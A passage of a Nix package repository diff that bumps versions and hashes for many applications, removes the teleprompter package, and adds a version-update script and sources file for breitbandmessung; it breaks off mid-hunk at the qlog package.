diff --git a/pkgs/applications/misc/makeself/default.nix b/pkgs/applications/misc/makeself/default.nix
index 7c2d33aebc00..91a2e11b3666 100644
--- a/pkgs/applications/misc/makeself/default.nix
+++ b/pkgs/applications/misc/makeself/default.nix
@@ -23,16 +23,18 @@ stdenv.mkDerivation rec {
   checkTarget = "test";
   nativeCheckInputs = [ which zstd pbzip2 ];
 
+  sharePath = "$out/share/${pname}";
+
   installPhase = ''
     runHook preInstall
     installManPage makeself.1
     install -Dm555 makeself.sh $out/bin/makeself
-    install -Dm444 -t $out/share/${pname}/ makeself.lsm README.md makeself-header.sh
+    install -Dm444 -t ${sharePath}/ makeself.lsm README.md makeself-header.sh
     runHook postInstall
   '';
 
   fixupPhase = ''
-    sed -e "s|^HEADER=.*|HEADER=$out/share/${pname}-${version}/makeself-header.sh|" -i $out/bin/makeself
+    sed -e "s|^HEADER=.*|HEADER=${sharePath}/makeself-header.sh|" -i $out/bin/makeself
   '';
 
   meta = with lib; {
diff --git a/pkgs/applications/misc/teleprompter/default.nix b/pkgs/applications/misc/teleprompter/default.nix
deleted file mode 100644
index 9e4f711d125c..000000000000
--- a/pkgs/applications/misc/teleprompter/default.nix
+++ /dev/null
@@ -1,44 +0,0 @@
-{ lib, stdenv, fetchurl, electron_10, makeDesktopItem, makeWrapper, asar, autoPatchelfHook}:
-
-let
-  electron = electron_10;
-in
-stdenv.mkDerivation rec {
-  pname = "teleprompter";
-  version = "2.4.0";
-
-  src = fetchurl {
-    url = "https://github.com/ImaginarySense/Imaginary-Teleprompter-Electron/releases/download/${lib.versions.majorMinor version}/imaginary-teleprompter-${version}.tar.gz";
-    sha256 = "bgdtK8l5d26avv1WUw9cfOgZrIL1q/a9890Ams4yidQ=";
-  };
-
-  dontBuild = true;
-  dontStrip = true;
-
-  nativeBuildInputs = [ autoPatchelfHook makeWrapper asar ];
-  installPhase = ''
-    mkdir -p $out/bin $out/opt/teleprompter $out/share/applications
-    asar e resources/app.asar $out/opt/teleprompter/resources/app.asar.unpacked
-    ln -s ${desktopItem}/share/applications/* $out/share/applications
-  '';
-
-  postFixup = ''
-    makeWrapper ${electron}/bin/electron $out/bin/teleprompter \
-      --add-flags "$out/opt/teleprompter/resources/app.asar.unpacked --without-update"
-  '';
-
-  desktopItem = makeDesktopItem {
-     name = "teleprompter";
-     exec = "teleprompter";
-     desktopName = "Teleprompter";
-  };
-
-  meta = with lib; {
-    description = "The most complete, free, teleprompter app on the web";
-    license = [ licenses.gpl3Plus ];
-    homepage = "https://github.com/ImaginarySense/Teleprompter-Core";
-    platforms = platforms.linux;
-    maintainers = with maintainers; [ Scriptkiddi ];
-  };
-}
-
diff --git a/pkgs/applications/misc/waybar/default.nix b/pkgs/applications/misc/waybar/default.nix
index dad61b88d4ff..823cf7fa75ec 100644
--- a/pkgs/applications/misc/waybar/default.nix
+++ b/pkgs/applications/misc/waybar/default.nix
@@ -68,24 +68,24 @@ let
   libcava.src = fetchFromGitHub {
     owner = "LukashonakV";
     repo = "cava";
-    rev = "0.9.1";
-    hash = "sha256-FnRJJV0poRmw+y4nt1X7Z0ipX86LRK1TJhNKHFk0rTw=";
+    rev = "0.10.1";
+    hash = "sha256-iIYKvpOWafPJB5XhDOSIW9Mb4I3A4pcgIIPQdQYEqUw=";
   };
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "waybar";
-  version = "0.9.24";
+  version = "0.10.0";
 
   src = fetchFromGitHub {
     owner = "Alexays";
     repo = "Waybar";
     rev = finalAttrs.version;
-    hash = "sha256-JhLKGzqZ8akWcyHTav2TGcGmXk9dy9Xj4+/oFCPeNU0=";
+    hash = "sha256-p1VRrKT2kTDy48gDXPMHlLbfcokAOFeTZXGzTeO1SAE=";
   };
 
   postUnpack = lib.optional cavaSupport ''
     pushd "$sourceRoot"
-    cp -R --no-preserve=mode,ownership ${libcava.src} subprojects/cava-0.9.1
+    cp -R --no-preserve=mode,ownership ${libcava.src} subprojects/cava-0.10.1
     patchShebangs .
     popd
   '';
@@ -147,7 +147,6 @@ stdenv.mkDerivation (finalAttrs: {
   mesonFlags = (lib.mapAttrsToList lib.mesonEnable {
     "cava" = cavaSupport;
     "dbusmenu-gtk" = traySupport;
-    "gtk-layer-shell" = true;
     "jack" = jackSupport;
     "libinput" = inputSupport;
     "libnl" = nlSupport;
diff --git a/pkgs/applications/misc/whalebird/default.nix b/pkgs/applications/misc/whalebird/default.nix
index 665cae9d4bd9..83fcccbf3761 100644
--- a/pkgs/applications/misc/whalebird/default.nix
+++ b/pkgs/applications/misc/whalebird/default.nix
@@ -83,7 +83,7 @@ stdenv.mkDerivation rec {
     runHook preInstall
 
     mkdir -p $out/opt
-    cp -r ./dist/linux-unpacked $out/opt/Whalebird
+    cp -r ./dist/*-unpacked $out/opt/Whalebird
 
     # Install icons
     # Taken from https://aur.archlinux.org/cgit/aur.git/tree/PKGBUILD?h=whalebird#n41
@@ -104,7 +104,7 @@ stdenv.mkDerivation rec {
   meta = with lib; {
     description = "Single-column Fediverse client for desktop";
     homepage = "https://whalebird.social";
-    sourceProvenance = with sourceTypes; [ fromSource ];
+    changelog = "https://github.com/h3poteto/whalebird-desktop/releases/tag/v${version}";
     license = licenses.gpl3Only;
     maintainers = with maintainers; [ wolfangaukang colinsane weathercold ];
     platforms = [ "x86_64-linux" "aarch64-linux" ];
diff --git a/pkgs/applications/networking/breitbandmessung/default.nix b/pkgs/applications/networking/breitbandmessung/default.nix
index 09ec430e6548..9a6cc8a4f739 100644
--- a/pkgs/applications/networking/breitbandmessung/default.nix
+++ b/pkgs/applications/networking/breitbandmessung/default.nix
@@ -3,7 +3,7 @@
 , fetchurl
 , asar
 , dpkg
-, electron_24
+, electron
 , makeWrapper
 , nixosTests
 , undmg
@@ -12,14 +12,11 @@
 let
   inherit (stdenv.hostPlatform) system;
 
-  version = "3.3.0";
+  sources = import ./sources.nix;
 
   systemArgs = rec {
-    x86_64-linux = rec {
-      src = fetchurl {
-        url = "https://download.breitbandmessung.de/bbm/Breitbandmessung-${version}-linux.deb";
-        sha256 = "sha256-12mbdxklje9msnRtNk1RAtIg3OCybev/vUersDZj2i4=";
-      };
+    x86_64-linux = {
+      src = fetchurl sources.x86_64-linux;
 
       nativeBuildInputs = [
         asar
@@ -49,7 +46,7 @@ let
         }
         EOF
 
-        makeWrapper ${electron_24}/bin/electron $out/bin/breitbandmessung \
+        makeWrapper ${electron}/bin/electron $out/bin/breitbandmessung \
           --add-flags $out/share/breitbandmessung/resources/build/electron.js
 
         # Fix the desktop link
@@ -59,10 +56,7 @@ let
     };
 
     x86_64-darwin = {
-      src = fetchurl {
-        url = "https://download.breitbandmessung.de/bbm/Breitbandmessung-${version}-mac.dmg";
-        sha256 = "sha256-a27R/N13i4qU2znTKz+LGxSdgSzJ0MzIHeiPHyRd65k=";
-      };
+      src = fetchurl sources.x86_64-darwin;
 
       nativeBuildInputs = [ undmg ];
 
@@ -79,9 +73,10 @@ let
 in
 stdenv.mkDerivation ({
   pname = "breitbandmessung";
-  inherit version;
+  inherit (sources) version;
 
   passthru.tests = { inherit (nixosTests) breitbandmessung; };
+  passthru.updateScript = ./update.sh;
 
   meta = with lib; {
     description = "Broadband internet speed test app from the german Bundesnetzagentur";
diff --git a/pkgs/applications/networking/breitbandmessung/sources.nix b/pkgs/applications/networking/breitbandmessung/sources.nix
new file mode 100644
index 000000000000..d97cc1179952
--- /dev/null
+++ b/pkgs/applications/networking/breitbandmessung/sources.nix
@@ -0,0 +1,11 @@
+{
+  version = "3.6.0";
+  x86_64-linux = {
+    url = "https://download.breitbandmessung.de/bbm/Breitbandmessung-3.6.0-linux.deb";
+    sha256 = "sha256-jUp4Q9tiR/WLkTNHz97j0eE/WwcfFF3ut0S9N4M75Oc=";
+  };
+  x86_64-darwin = {
+    url = "https://download.breitbandmessung.de/bbm/Breitbandmessung-3.6.0-mac.dmg";
+    sha256 = "sha256-ZvTig1/fm1GRoOYuTRBiZ8j4CRbZSa95q6a0sxo39Gs=";
+  };
+}
diff --git a/pkgs/applications/networking/breitbandmessung/update.sh b/pkgs/applications/networking/breitbandmessung/update.sh
new file mode 100755
index 000000000000..da982adf933b
--- /dev/null
+++ b/pkgs/applications/networking/breitbandmessung/update.sh
@@ -0,0 +1,29 @@
+#!/usr/bin/env nix-shell
+#!nix-shell -i bash -p curl jq nix ripgrep
+
+set -xeu -o pipefail
+
+PACKAGE_DIR="$(realpath "$(dirname "$0")")"
+
+current="$(nix eval -f "$PACKAGE_DIR/sources.nix" --raw version || :)"
+latest="$(curl -sS https://breitbandmessung.de/desktop-app | \
+  rg '.*Aktuelle Version der Desktop-App lautet:\s*([.0-9]+).*' -r '$1')"
+
+if [[ $current != $latest ]]; then
+  linux_hash="$(nix store prefetch-file --json https://download.breitbandmessung.de/bbm/Breitbandmessung-${latest}-linux.deb | jq -r .hash)"
+  darwin_hash="$(nix store prefetch-file --json https://download.breitbandmessung.de/bbm/Breitbandmessung-${latest}-mac.dmg | jq -r .hash)"
+
+  cat <<EOF >"$PACKAGE_DIR/sources.nix"
+{
+  version = "${latest}";
+  x86_64-linux = {
+    url = "https://download.breitbandmessung.de/bbm/Breitbandmessung-${latest}-linux.deb";
+    sha256 = "${linux_hash}";
+  };
+  x86_64-darwin = {
+    url = "https://download.breitbandmessung.de/bbm/Breitbandmessung-${latest}-mac.dmg";
+    sha256 = "${darwin_hash}";
+  };
+}
+EOF
+fi
diff --git a/pkgs/applications/networking/browsers/floorp/default.nix b/pkgs/applications/networking/browsers/floorp/default.nix
index 8701f8d7795b..6bb01b63e5cd 100644
--- a/pkgs/applications/networking/browsers/floorp/default.nix
+++ b/pkgs/applications/networking/browsers/floorp/default.nix
@@ -11,6 +11,8 @@
   applicationName = "Floorp";
   binaryName = "floorp";
   branding = "browser/branding/official";
+  requireSigning = false;
+  allowAddonSideload = true;
 
   # Must match the contents of `browser/config/version.txt` in the source tree
   version = "115.8.0";
@@ -26,9 +28,7 @@
   extraConfigureFlags = [
     "--with-app-name=${pname}"
     "--with-app-basename=${applicationName}"
-    "--with-distribution-id=one.ablaze.floorp"
     "--with-unsigned-addon-scopes=app,system"
-    "--allow-addon-sideload"
   ];
 
   meta = {
@@ -54,6 +54,5 @@
   mlsAPISupport = true;
 }).overrideAttrs (prev: {
   MOZ_DATA_REPORTING = "";
-  MOZ_REQUIRE_SIGNING = "";
   MOZ_TELEMETRY_REPORTING = "";
 })
diff --git a/pkgs/applications/networking/browsers/librewolf/default.nix b/pkgs/applications/networking/browsers/librewolf/default.nix
index 0e6ba888015e..6a1d59858d80 100644
--- a/pkgs/applications/networking/browsers/librewolf/default.nix
+++ b/pkgs/applications/networking/browsers/librewolf/default.nix
@@ -11,6 +11,7 @@ in
   src = librewolf-src.firefox;
   requireSigning = false;
   allowAddonSideload = true;
+  branding = "browser/branding/librewolf";
   inherit (librewolf-src) extraConfigureFlags extraPatches extraPostPatch extraPassthru;
 
   meta = {
diff --git a/pkgs/applications/networking/browsers/librewolf/librewolf.nix b/pkgs/applications/networking/browsers/librewolf/librewolf.nix
index f6689f6ae87d..bb35d92a3d62 100644
--- a/pkgs/applications/networking/browsers/librewolf/librewolf.nix
+++ b/pkgs/applications/networking/browsers/librewolf/librewolf.nix
@@ -11,10 +11,7 @@ rec {
   extraConfigureFlags = [
     "--with-app-name=librewolf"
     "--with-app-basename=LibreWolf"
-    "--with-branding=browser/branding/librewolf"
-    "--with-distribution-id=io.gitlab.librewolf-community"
     "--with-unsigned-addon-scopes=app,system"
-    "--allow-addon-sideload"
   ];
 
   extraPostPatch = ''
diff --git a/pkgs/applications/networking/cluster/argocd/default.nix b/pkgs/applications/networking/cluster/argocd/default.nix
index 2d84c51b8059..73422872a765 100644
--- a/pkgs/applications/networking/cluster/argocd/default.nix
+++ b/pkgs/applications/networking/cluster/argocd/default.nix
@@ -2,13 +2,13 @@
 
 buildGoModule rec {
   pname = "argocd";
-  version = "2.10.2";
+  version = "2.10.3";
 
   src = fetchFromGitHub {
     owner = "argoproj";
     repo = "argo-cd";
     rev = "v${version}";
-    hash = "sha256-eFa2AXFVymi7et+fHTLgdiBUq6D8zK5DRg9Dqhxe4TE=";
+    hash = "sha256-DaM3vNmZTz4zJTsmtgWwKPhHeUdqe2ZdlXYTppdhiJs=";
   };
 
   proxyVendor = true; # darwin/linux hash mismatch
diff --git a/pkgs/applications/networking/cluster/arkade/default.nix b/pkgs/applications/networking/cluster/arkade/default.nix
index 82e5d12eaede..90ea0a2f872d 100644
--- a/pkgs/applications/networking/cluster/arkade/default.nix
+++ b/pkgs/applications/networking/cluster/arkade/default.nix
@@ -7,13 +7,13 @@
 
 buildGoModule rec {
   pname = "arkade";
-  version = "0.11.4";
+  version = "0.11.5";
 
   src = fetchFromGitHub {
     owner = "alexellis";
     repo = "arkade";
     rev = version;
-    hash = "sha256-nRA/3dJn6hUJDppS/tt/WRIoYrRTeuY7ULZXii3LC48=";
+    hash = "sha256-8G9O1HJtlRCiqfls98+CvsjeOszEY1OfWpw99B2tCuE=";
   };
 
   CGO_ENABLED = 0;
diff --git a/pkgs/applications/networking/cluster/bosh-cli/default.nix b/pkgs/applications/networking/cluster/bosh-cli/default.nix
index ab20b2dc72cc..0daf7ae97ba1 100644
--- a/pkgs/applications/networking/cluster/bosh-cli/default.nix
+++ b/pkgs/applications/networking/cluster/bosh-cli/default.nix
@@ -8,13 +8,13 @@
 buildGoModule rec {
   pname = "bosh-cli";
 
-  version = "7.5.4";
+  version = "7.5.5";
 
   src = fetchFromGitHub {
     owner = "cloudfoundry";
     repo = pname;
     rev = "v${version}";
-    sha256 = "sha256-aNzKp7QwyhC/ado0NrCyxrRZu+ePGBNSq31/Iw6k6n0=";
+    sha256 = "sha256-LjqMCkEIl+0psxIys/tvJPkEQqDRzLOsaFUfAVG+RrE=";
   };
   vendorHash = null;
 
diff --git a/pkgs/applications/networking/cluster/clusterctl/default.nix b/pkgs/applications/networking/cluster/clusterctl/default.nix
index b2b5390af48b..f0778bdcc62d 100644
--- a/pkgs/applications/networking/cluster/clusterctl/default.nix
+++ b/pkgs/applications/networking/cluster/clusterctl/default.nix
@@ -2,16 +2,16 @@
 
 buildGoModule rec {
   pname = "clusterctl";
-  version = "1.6.2";
+  version = "1.6.3";
 
   src = fetchFromGitHub {
     owner = "kubernetes-sigs";
     repo = "cluster-api";
     rev = "v${version}";
-    hash = "sha256-OTOM83dsf6Fk+CYkACQOmguDTYfZvN9qes3S/cFEq/8=";
+    hash = "sha256-gyZxEzktbYtQSm1gm4wWJriMo/MjDdgaAxjA7J3jeQ0=";
   };
 
-  vendorHash = "sha256-SwJx3KPdOugDYLLymPyrPam0uMyRWIDpQn79Sd9fhJ4=";
+  vendorHash = "sha256-bMM4d1ji03bICsd6uBqu+0n4rB/SiKjtevQzV0DYHiE=";
 
   subPackages = [ "cmd/clusterctl" ];
 
diff --git a/pkgs/applications/networking/cluster/helm/plugins/helm-diff.nix b/pkgs/applications/networking/cluster/helm/plugins/helm-diff.nix
index 267aceb08298..6926b5498b4c 100644
--- a/pkgs/applications/networking/cluster/helm/plugins/helm-diff.nix
+++ b/pkgs/applications/networking/cluster/helm/plugins/helm-diff.nix
@@ -1,17 +1,17 @@
-{ buildGoModule, fetchFromGitHub, lib }:
+{ buildGo122Module, fetchFromGitHub, lib }:
 
-buildGoModule rec {
+buildGo122Module rec {
   pname = "helm-diff";
-  version = "3.9.4";
+  version = "3.9.5";
 
   src = fetchFromGitHub {
     owner = "databus23";
     repo = pname;
     rev = "v${version}";
-    sha256 = "sha256-hDni0bAF4tp7upP/D5S6dGN//zaNHidWAYf/l6W9j28=";
+    hash = "sha256-6XkiGSbZzkYnqaHcoZQckADGVcWmSWL87MVzqb98lMQ=";
   };
 
-  vendorHash = "sha256-51xjHGU9TC4Nwa9keR0b7bgwpZcRmG7duT9R1JRr3Uw=";
+  vendorHash = "sha256-E0ERop/TBr36sfTKCD+DdZwHSkhYdGmvKoJF2gl3gwE=";
 
   ldflags = [ "-s" "-w" "-X github.com/databus23/helm-diff/v3/cmd.Version=${version}" ];
 
diff --git a/pkgs/applications/networking/cluster/kubectl-cnpg/default.nix b/pkgs/applications/networking/cluster/kubectl-cnpg/default.nix
index 77fd7928d680..b29ba78a4ef1 100644
--- a/pkgs/applications/networking/cluster/kubectl-cnpg/default.nix
+++ b/pkgs/applications/networking/cluster/kubectl-cnpg/default.nix
@@ -5,16 +5,16 @@
 
 buildGoModule rec {
   pname = "kubectl-cnpg";
-  version = "1.22.1";
+  version = "1.22.2";
 
   src = fetchFromGitHub {
     owner = "cloudnative-pg";
     repo = "cloudnative-pg";
     rev = "v${version}";
-    hash = "sha256-mKQuHswnoxgqQOCiQFbibg6MqACOxM73XngQai6s6To=";
+    hash = "sha256-xR61PYUqiVtPTghEEeSWXs/Apx7VVWDgi6Pgx/EBQzQ=";
   };
 
-  vendorHash = "sha256-SCeKoxI1zFzSwLAdAa1YI3DiyfK/uOk7CmWwQWVeF7g=";
+  vendorHash = "sha256-u5ou9rY/JBrV0EF/nJX8u/Fqde/WZe21EcsNLwvtqB0=";
 
   subPackages = [ "cmd/kubectl-cnpg" ];
 
diff --git a/pkgs/applications/networking/cluster/kubefirst/default.nix b/pkgs/applications/networking/cluster/kubefirst/default.nix
index c470b79f9097..1bf2c06db54a 100644
--- a/pkgs/applications/networking/cluster/kubefirst/default.nix
+++ b/pkgs/applications/networking/cluster/kubefirst/default.nix
@@ -2,16 +2,16 @@
 
 buildGoModule rec {
   pname = "kubefirst";
-  version = "2.3.8";
+  version = "2.4.0";
 
   src = fetchFromGitHub {
     owner = "kubefirst";
     repo = pname;
     rev = "v${version}";
-    hash = "sha256-CW+p6hcXHVUlMuxXiwHtp4/iY/VYe/64TMY2UyARpG4=";
+    hash = "sha256-3WGItliwfJuyh0nTUJyCo2qXuvGZOfAH6XCIGxvF8bs=";
   };
 
-  vendorHash = "sha256-hI6f7Iyo4sWgSSRLDROLhvI/g1wLc1oVmVt2pQ5Ptbk=";
+  vendorHash = "sha256-ZcZl4knlyKAwTsiyZvlkN5e2ox30B5aNzutI/2UEE9U=";
 
   ldflags = [ "-s" "-w" "-X github.com/kubefirst/runtime/configs.K1Version=v${version}"];
 
diff --git a/pkgs/applications/networking/discordo/default.nix b/pkgs/applications/networking/discordo/default.nix
index 20ff35764d13..a9540226d002 100644
--- a/pkgs/applications/networking/discordo/default.nix
+++ b/pkgs/applications/networking/discordo/default.nix
@@ -3,13 +3,13 @@
 
 buildGoModule rec {
   pname = "discordo";
-  version = "unstable-2024-03-07";
+  version = "unstable-2024-03-12";
 
   src = fetchFromGitHub {
     owner = "ayn2op";
     repo = pname;
-    rev = "23cb3a146a8567526b35807c6f16120163c40f98";
-    hash = "sha256-1ov9SEyXdRTg9HEN2ASC5QY8ZKlWDdrc9TCMfFHIhCc=";
+    rev = "5805f6605efe63fc887e850bcc5d107070eb2c1a";
+    hash = "sha256-IzVDxylrR0X8HLWTelSBq2+uu2h2Jd6iaNUXh9zQ9Yk=";
   };
 
   vendorHash = "sha256-6pCQHr/O2pfR1v8YI+htwGZ8RFStEEUctIEpgblXvjY=";
diff --git a/pkgs/applications/networking/dnscontrol/default.nix b/pkgs/applications/networking/dnscontrol/default.nix
index ae4fc0a4e3b7..fc2c33e292cf 100644
--- a/pkgs/applications/networking/dnscontrol/default.nix
+++ b/pkgs/applications/networking/dnscontrol/default.nix
@@ -1,4 +1,4 @@
-{ lib, buildGoModule, fetchFromGitHub }:
+{ lib, buildGoModule, fetchFromGitHub, testers, dnscontrol }:
 
 buildGoModule rec {
   pname = "dnscontrol";
@@ -15,13 +15,20 @@ buildGoModule rec {
 
   subPackages = [ "." ];
 
-  ldflags = [ "-s" "-w" "-X=main.Version=${version}" ];
+  ldflags = [ "-s" "-w" "-X=main.version=${version}" ];
 
   preCheck = ''
     # requires network
     rm pkg/spflib/flatten_test.go pkg/spflib/parse_test.go
   '';
 
+  passthru.tests = {
+    version = testers.testVersion {
+      command = "${lib.getExe dnscontrol} version";
+      package = dnscontrol;
+    };
+  };
+
   meta = with lib; {
     description = "Synchronize your DNS to multiple providers from a simple DSL";
     homepage = "https://dnscontrol.org/";
diff --git a/pkgs/applications/networking/flexget/default.nix b/pkgs/applications/networking/flexget/default.nix
index 899b44aae2e1..26cc701b7e58 100644
--- a/pkgs/applications/networking/flexget/default.nix
+++ b/pkgs/applications/networking/flexget/default.nix
@@ -6,7 +6,7 @@
 
 python3.pkgs.buildPythonApplication rec {
   pname = "flexget";
-  version = "3.11.22";
+  version = "3.11.23";
   pyproject = true;
 
   # Fetch from GitHub in order to use `requirements.in`
@@ -14,7 +14,7 @@ python3.pkgs.buildPythonApplication rec {
     owner = "Flexget";
     repo = "Flexget";
     rev = "refs/tags/v${version}";
-    hash = "sha256-csy3v1A8tejdChw6umslOPMCJHk5MBLuJdxbpzJBphQ=";
+    hash = "sha256-qEGgXpwECt9vAV+0GfAIQSuHwWtz4vFxy+6QuVUe5Rs=";
   };
 
   postPatch = ''
diff --git a/pkgs/applications/networking/ids/zeek/broker/default.nix b/pkgs/applications/networking/ids/zeek/broker/default.nix
index ef37f4c2ed06..a2d34ec7b1fe 100644
--- a/pkgs/applications/networking/ids/zeek/broker/default.nix
+++ b/pkgs/applications/networking/ids/zeek/broker/default.nix
@@ -24,12 +24,12 @@ let
     hash = "sha256-AVaKcRjF5ZiSR8aPSLBzSTeWVwGWW/aSyQJcN0Yhza0=";
   };
   caf' = caf.overrideAttrs (old: {
-    version = "unstable-2022-11-17-zeek";
+    version = "unstable-2024-01-07-zeek";
     src = fetchFromGitHub {
       owner = "zeek";
       repo = "actor-framework";
-      rev = "4f580d89f35ae4d475505101623c8b022c0c6aa6";
-      hash = "sha256-8KGXg072lZiq/rC5ZuThDGRjeYvVVFBd3ea8yhUHOYY=";
+      rev = "e3048cdd13e085c97870a55eb1f9de04e25320f3";
+      hash = "sha256-uisoYXiZbFQa/TfWGRrCJ23MX4bg8Ds86ffC8sZSRNQ=";
     };
     cmakeFlags = old.cmakeFlags ++ [
       "-DCAF_ENABLE_TESTING=OFF"
@@ -39,7 +39,7 @@ let
 in
 stdenv.mkDerivation rec {
   pname = "zeek-broker";
-  version = "2.7.0";
+  version = "6.2.0";
   outputs = [ "out" "py" ];
 
   strictDeps = true;
@@ -48,7 +48,7 @@ stdenv.mkDerivation rec {
     owner = "zeek";
     repo = "broker";
     rev = "v${version}";
-    hash = "sha256-fwLqw7PPYUDm+eJxDpCtY/W6XianqBDPHOhzDQoooYo=";
+    hash = "sha256-SG5TzozKvYc7qcEPJgiEtsxgzdZbbJt90lmuUbCPyv0=";
   };
   postUnpack = ''
     rmdir $sourceRoot/cmake $sourceRoot/3rdparty
diff --git a/pkgs/applications/networking/ids/zeek/default.nix b/pkgs/applications/networking/ids/zeek/default.nix
index d5b07d7e5c03..09bf661f54b1 100644
--- a/pkgs/applications/networking/ids/zeek/default.nix
+++ b/pkgs/applications/networking/ids/zeek/default.nix
@@ -26,11 +26,11 @@ let
 in
 stdenv.mkDerivation rec {
   pname = "zeek";
-  version = "6.1.1";
+  version = "6.2.0";
 
   src = fetchurl {
     url = "https://download.zeek.org/zeek-${version}.tar.gz";
-    sha256 = "sha256-j8Vl6Vc/Wu1JpDV0UoXkLcEPUjRUnvwVAq91RPaDN+U=";
+    hash = "sha256-Y1Z+j5+Ffqho5Q2O8uQgNxsxPE7gqHaxe1SZEJDA0oY=";
   };
 
   strictDeps = true;
diff --git a/pkgs/applications/networking/instant-messengers/mattermost-desktop/default.nix b/pkgs/applications/networking/instant-messengers/mattermost-desktop/default.nix
index 7b9246300c06..f7b31021a80e 100644
--- a/pkgs/applications/networking/instant-messengers/mattermost-desktop/default.nix
+++ b/pkgs/applications/networking/instant-messengers/mattermost-desktop/default.nix
@@ -1,24 +1,24 @@
 { lib
 , stdenv
 , fetchurl
-, electron_27
+, electron_28
 , makeWrapper
 }:
 
 let
 
   pname = "mattermost-desktop";
-  version = "5.6.0";
+  version = "5.7.0";
 
   srcs = {
     "x86_64-linux" = {
       url = "https://releases.mattermost.com/desktop/${version}/${pname}-${version}-linux-x64.tar.gz";
-      hash = "sha256-KUF/zH18X+RS8AICBv53JTBpcaokzo92psyoQNmLF/Q=";
+      hash = "sha256-1xfU9+VzjhSVWsP1AYizphhQ2010GbQBgQ4dxvY3TBU=";
     };
 
     "aarch64-linux" = {
       url = "https://releases.mattermost.com/desktop/${version}/${pname}-${version}-linux-arm64.tar.gz";
-      hash = "sha256-Zl5PalAles39qSMtt1cytfu4Mheud4+8TTkt7Ohdf/o=";
+      hash = "sha256-RrH+R9IuokKK+zfmCmOt38hD1HvWJbKqmxTFhQ3RcqQ=";
     };
   };
 
@@ -52,7 +52,7 @@ stdenv.mkDerivation {
     substituteInPlace $out/share/applications/Mattermost.desktop \
       --replace /share/mattermost-desktop/mattermost-desktop /bin/mattermost-desktop
 
-    makeWrapper '${lib.getExe electron_27}' $out/bin/${pname} \
+    makeWrapper '${lib.getExe electron_28}' $out/bin/${pname} \
       --add-flags $out/share/${pname}/app.asar
 
     runHook postInstall
diff --git a/pkgs/applications/networking/instant-messengers/webcord/default.nix b/pkgs/applications/networking/instant-messengers/webcord/default.nix
index d2ccfb8a4b03..d2796142e8f7 100644
--- a/pkgs/applications/networking/instant-messengers/webcord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/webcord/default.nix
@@ -7,23 +7,23 @@
 , libpulseaudio
 , libnotify
 , xdg-utils
-, electron_28
+, electron_29
 , makeDesktopItem
 , nix-update-script
 }:
 
 buildNpmPackage rec {
   pname = "webcord";
-  version = "4.7.1";
+  version = "4.8.0";
 
   src = fetchFromGitHub {
     owner = "SpacingBat3";
     repo = "WebCord";
     rev = "v${version}";
-    hash = "sha256-JzKXIdXR/C3HRbpmSUq3qXYpLnVQjIY/uO+wbt1k2jI=";
+    hash = "sha256-x9Ejb8yxgQhlEfUUfoqbgSffNNtOoFeAyb3OISR+Jz4=";
   };
 
-  npmDepsHash = "sha256-KbMoM1zYOjX2Dwu6DJZLyezRx78AC9piPw3xsX3Kb3I=";
+  npmDepsHash = "sha256-7H4I4vKygMgsPh+OvZZGhpkoQQu1a51yUTwEPJSBM18=";
 
   nativeBuildInputs = [
     copyDesktopItems
@@ -61,7 +61,7 @@ buildNpmPackage rec {
     install -Dm644 sources/assets/icons/app.png $out/share/icons/hicolor/256x256/apps/webcord.png
 
     # Add xdg-utils to path via suffix, per PR #181171
-    makeWrapper '${lib.getExe electron_28}' $out/bin/webcord \
+    makeWrapper '${lib.getExe electron_29}' $out/bin/webcord \
       --prefix LD_LIBRARY_PATH : ${libPath}:$out/opt/webcord \
       --suffix PATH : "${binPath}" \
       --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations}}" \
diff --git a/pkgs/applications/networking/mailreaders/betterbird/default.nix b/pkgs/applications/networking/mailreaders/betterbird/default.nix
index 3e9ebbceed75..6ca7c348969f 100644
--- a/pkgs/applications/networking/mailreaders/betterbird/default.nix
+++ b/pkgs/applications/networking/mailreaders/betterbird/default.nix
@@ -44,6 +44,7 @@ in ((buildMozillaMach {
 
   applicationName = "Betterbird";
   binaryName = "betterbird";
+  branding = "comm/mail/branding/betterbird";
   inherit (thunderbird-unwrapped) application extraPatches;
 
   src = fetchurl {
@@ -92,11 +93,6 @@ in ((buildMozillaMach {
     libdbusmenu-gtk3
   ];
 
-  extraConfigureFlags = [
-    "--enable-application=comm/mail"
-    "--with-branding=comm/mail/branding/betterbird"
-  ];
-
   meta = with lib; {
     description = "Betterbird is a fine-tuned version of Mozilla Thunderbird, Thunderbird on steroids, if you will";
     homepage = "https://www.betterbird.eu/";
diff --git a/pkgs/applications/networking/pjsip/default.nix b/pkgs/applications/networking/pjsip/default.nix
index 1943a395bd7b..418c4f243a00 100644
--- a/pkgs/applications/networking/pjsip/default.nix
+++ b/pkgs/applications/networking/pjsip/default.nix
@@ -15,13 +15,13 @@
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "pjsip";
-  version = "2.14";
+  version = "2.14.1";
 
   src = fetchFromGitHub {
     owner = finalAttrs.pname;
     repo = "pjproject";
     rev = "refs/tags/${finalAttrs.version}";
-    hash = "sha256-PWCeIvnBAOqbcNYPhIY7hykdvLzoD9lssSViCCPNT68=";
+    hash = "sha256-LDA3o1QMrAxcGuOi/YRoMzXmw/wFkfDs2wweZuIJ2RY=";
   };
 
   patches = [
diff --git a/pkgs/applications/office/portfolio/default.nix b/pkgs/applications/office/portfolio/default.nix
index 3f5fab53e6df..7ef353dc1cd0 100644
--- a/pkgs/applications/office/portfolio/default.nix
+++ b/pkgs/applications/office/portfolio/default.nix
@@ -27,11 +27,11 @@ let
 in
 stdenv.mkDerivation rec {
   pname = "PortfolioPerformance";
-  version = "0.68.1";
+  version = "0.68.2";
 
   src = fetchurl {
     url = "https://github.com/buchen/portfolio/releases/download/${version}/PortfolioPerformance-${version}-linux.gtk.x86_64.tar.gz";
-    hash = "sha256-ZXtBKc5vQz9fDyiG+DYOx7DsnnsORiltOacdx4AqFjg=";
+    hash = "sha256-h/WCfF3jK/pkN911vxPe2xzGUfVY2Xy+3yJwoqBQ5mA=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/applications/radio/qlog/default.nix b/pkgs/applications/radio/qlog/default.nix
index 0298c3f78367..318699421187 100644
--- a/pkgs/applications/radio/qlog/default.nix
+++ b/pkgs/applications/radio/qlog/default.nix
@@ -16,13 +16,13 @@
 
 stdenv.mkDerivation rec {
   pname = "qlog";
-  version = "0.32.0";
+  version = "0.33.1";
 
   src = fetchFromGitHub {
